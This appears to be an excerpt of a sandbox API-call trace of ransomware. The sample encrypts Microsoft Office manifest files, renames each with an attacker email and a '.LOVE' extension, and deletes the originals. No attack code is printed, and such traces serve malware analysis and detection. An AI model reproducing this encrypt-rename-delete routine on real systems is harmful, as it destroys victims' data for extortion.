lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.299] lstrlenW (lpString=".xls") returned 4 [0205.299] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.299] lstrlenW (lpString=".xlsx") returned 5 [0205.299] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0205.299] lstrlenW (lpString=".ppt") returned 4 [0205.299] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0205.299] lstrlenW (lpString=".zip") returned 4 [0205.299] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.299] lstrlenW (lpString=".rar") returned 4 [0205.299] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.299] lstrlenW (lpString=".bz2") returned 4 [0205.299] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.299] lstrlenW (lpString=".7z") returned 3 [0205.299] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0205.299] lstrlenW (lpString=".dbf") returned 4 [0205.299] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0205.299] lstrlenW (lpString=".1cd") returned 4 [0205.299] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0205.299] lstrlenW (lpString=".jpg") returned 4 [0205.299] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.299] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0205.299] lstrlenW (lpString="AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 53 [0205.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0205.302] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=9216) returned 1 [0205.302] CloseHandle (hObject=0x31c) returned 1 [0205.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml")) returned 0x220 [0205.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0205.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0205.304] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.304] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0205.309] GetLastError () returned 0x0 [0205.309] ReadFile (in: hFile=0x33c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x2400, lpOverlapped=0x0) returned 1 [0205.364] WriteFile (in: hFile=0x31c, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x2410, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x2410, lpOverlapped=0x0) returned 1 [0205.365] ReadFile (in: hFile=0x33c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.365] WriteFile (in: hFile=0x31c, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x13e, lpOverlapped=0x0) returned 1 [0205.365] SetEndOfFile (hFile=0x31c) returned 1 [0205.365] CloseHandle (hObject=0x31c) returned 1 [0205.365] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.365] SetEndOfFile (hFile=0x33c) returned 1 [0205.366] CloseHandle (hObject=0x33c) returned 1 [0205.366] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0205.366] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml")) returned 1 [0205.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0205.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0205.367] lstrlenW (lpString=".doc") returned 4 [0205.367] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.367] lstrlenW (lpString=".docx") returned 5 [0205.367] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0205.367] lstrlenW (lpString=".pdf") returned 4 [0205.367] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.367] lstrlenW (lpString=".xls") returned 4 [0205.367] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.367] lstrlenW (lpString=".xlsx") returned 5 [0205.367] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0205.367] lstrlenW (lpString=".ppt") returned 4 [0205.367] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0205.367] lstrlenW (lpString=".zip") returned 4 [0205.367] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.367] lstrlenW (lpString=".rar") returned 4 [0205.367] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.367] lstrlenW (lpString=".bz2") returned 4 [0205.368] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.368] lstrlenW (lpString=".7z") returned 3 [0205.368] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0205.368] lstrlenW (lpString=".dbf") returned 4 [0205.368] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0205.368] lstrlenW (lpString=".1cd") returned 4 [0205.368] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0205.368] lstrlenW (lpString=".jpg") returned 4 [0205.368] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0205.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0205.368] lstrlenW (lpString=".doc") returned 4 [0205.368] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.368] lstrlenW (lpString=".docx") returned 5 [0205.368] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0205.368] lstrlenW (lpString=".pdf") returned 4 [0205.368] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.368] lstrlenW (lpString=".xls") returned 4 [0205.368] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.368] lstrlenW (lpString=".xlsx") returned 5 [0205.368] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0205.368] lstrlenW (lpString=".ppt") returned 4 [0205.368] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0205.368] lstrlenW (lpString=".zip") returned 4 [0205.369] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.369] lstrlenW (lpString=".rar") returned 4 [0205.369] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.369] lstrlenW (lpString=".bz2") returned 4 [0205.369] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.369] lstrlenW (lpString=".7z") returned 3 [0205.369] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0205.369] lstrlenW (lpString=".dbf") returned 4 [0205.369] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0205.369] lstrlenW (lpString=".1cd") returned 4 [0205.369] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0205.369] lstrlenW (lpString=".jpg") returned 4 [0205.369] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.369] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0205.369] lstrlenW (lpString="AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 53 [0205.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0205.370] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=1450) returned 1 [0205.370] CloseHandle (hObject=0x33c) returned 1 [0205.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml")) returned 0x220 [0205.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0205.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0205.370] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.370] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0205.370] GetLastError () returned 0x0 [0205.371] ReadFile (in: hFile=0x33c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x5aa, lpOverlapped=0x0) returned 1 [0205.507] WriteFile (in: hFile=0x31c, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x5b0, lpOverlapped=0x0) returned 1 [0205.508] ReadFile (in: hFile=0x33c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.508] WriteFile (in: hFile=0x31c, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x13e, lpOverlapped=0x0) returned 1 [0205.508] SetEndOfFile (hFile=0x31c) returned 1 [0205.508] CloseHandle (hObject=0x31c) returned 1 [0205.508] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.508] SetEndOfFile (hFile=0x33c) returned 1 [0205.508] CloseHandle (hObject=0x33c) returned 1 [0205.509] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0205.509] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml")) returned 1 [0205.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0205.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0205.509] lstrlenW (lpString=".doc") returned 4 [0205.509] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.509] lstrlenW (lpString=".docx") returned 5 [0205.509] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0205.509] lstrlenW (lpString=".pdf") returned 4 [0205.509] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.509] lstrlenW (lpString=".xls") returned 4 [0205.509] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.509] lstrlenW (lpString=".xlsx") returned 5 [0205.510] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0205.510] lstrlenW (lpString=".ppt") returned 4 [0205.510] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0205.510] lstrlenW (lpString=".zip") returned 4 [0205.510] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.510] lstrlenW (lpString=".rar") returned 4 [0205.510] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.510] lstrlenW (lpString=".bz2") returned 4 [0205.510] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.510] lstrlenW (lpString=".7z") returned 3 [0205.510] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0205.510] lstrlenW (lpString=".dbf") returned 4 [0205.510] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0205.510] lstrlenW (lpString=".1cd") returned 4 [0205.510] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0205.510] lstrlenW (lpString=".jpg") returned 4 [0205.510] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0205.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0205.510] lstrlenW (lpString=".doc") returned 4 [0205.510] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.510] lstrlenW (lpString=".docx") returned 5 [0205.510] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0205.510] lstrlenW (lpString=".pdf") returned 4 [0205.511] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.511] lstrlenW (lpString=".xls") returned 4 [0205.511] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.511] lstrlenW (lpString=".xlsx") returned 5 [0205.511] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0205.511] lstrlenW (lpString=".ppt") returned 4 [0205.511] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0205.511] lstrlenW (lpString=".zip") returned 4 [0205.511] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.511] lstrlenW (lpString=".rar") returned 4 [0205.511] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.511] lstrlenW (lpString=".bz2") returned 4 [0205.511] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.511] lstrlenW (lpString=".7z") returned 3 [0205.511] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0205.511] lstrlenW (lpString=".dbf") returned 4 [0205.511] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0205.511] lstrlenW (lpString=".1cd") returned 4 [0205.511] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0205.511] lstrlenW (lpString=".jpg") returned 4 [0205.511] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.512] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0205.512] lstrlenW (lpString="AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 53 [0205.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0205.512] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=1261) returned 1 [0205.512] CloseHandle (hObject=0x33c) returned 1 [0205.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml")) returned 0x220 [0205.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0205.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0205.512] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.512] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0205.513] GetLastError () returned 0x0 [0205.513] ReadFile (in: hFile=0x33c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0205.627] WriteFile (in: hFile=0x31c, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0206.037] ReadFile (in: hFile=0x33c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.037] WriteFile (in: hFile=0x31c, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x13e, lpOverlapped=0x0) returned 1 [0206.037] SetEndOfFile (hFile=0x31c) returned 1 [0206.037] CloseHandle (hObject=0x31c) returned 1 [0206.038] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.038] SetEndOfFile (hFile=0x33c) returned 1 [0206.039] CloseHandle (hObject=0x33c) returned 1 [0206.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0206.040] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml")) returned 1 [0206.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0206.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0206.040] lstrlenW (lpString=".doc") returned 4 [0206.040] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0206.040] lstrlenW (lpString=".docx") returned 5 [0206.040] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0206.040] lstrlenW (lpString=".pdf") returned 4 [0206.040] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0206.040] lstrlenW (lpString=".xls") returned 4 [0206.040] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0206.040] lstrlenW (lpString=".xlsx") returned 5 [0206.040] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0206.040] lstrlenW (lpString=".ppt") returned 4 [0206.040] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0206.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0206.041] lstrlenW (lpString=".zip") returned 4 [0206.041] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0206.041] lstrlenW (lpString=".rar") returned 4 [0206.041] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 